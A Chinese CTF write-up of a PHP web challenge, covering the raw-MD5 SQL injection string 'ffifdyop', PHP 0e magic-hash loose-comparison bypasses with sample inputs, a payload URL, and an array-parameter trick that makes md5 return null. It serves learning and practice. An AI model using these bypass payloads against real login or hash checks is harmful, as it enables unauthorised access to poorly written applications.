打开题目是这样一个界面,猜测可能是注入问题,试了很久无果
查看源码无意间看到hint
是注入,但是不会,去看大佬wp,发现输入ffifdyop可以绕过,原因是ffifdyop会被解析为16进制276f722736c95d99e921722cf9ed621c,16进制又会被转为ascii,刚好是’or’6,与原句拼接刚好成为一个永真,达到绕过的效果(这里我搜了很多wp都没有很具体解释ffifdyop怎么来的,总之记下就好ffifdyop代表’or’6 以后碰到类似的题可以直接用),绕过之后出现另一个页面
查看源码
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
这属于MD5弱比较,根据PHP代码的原理0e开头的数都是一样的(0e它会认为是科学计数法0的多少次方,0的次方还是0)
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
payload=http://e983ea8c-ae5f-4b92-8d5e-f92d88fd04ee.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=s878926199a
弹出下一个页面
这里可以利用数组绕过,因为MD5不能解析数组,所以会返回null,null=null,导致了绕过
param[ ]=QNKCDZO¶m2[ ]=s214587387a
拿到flag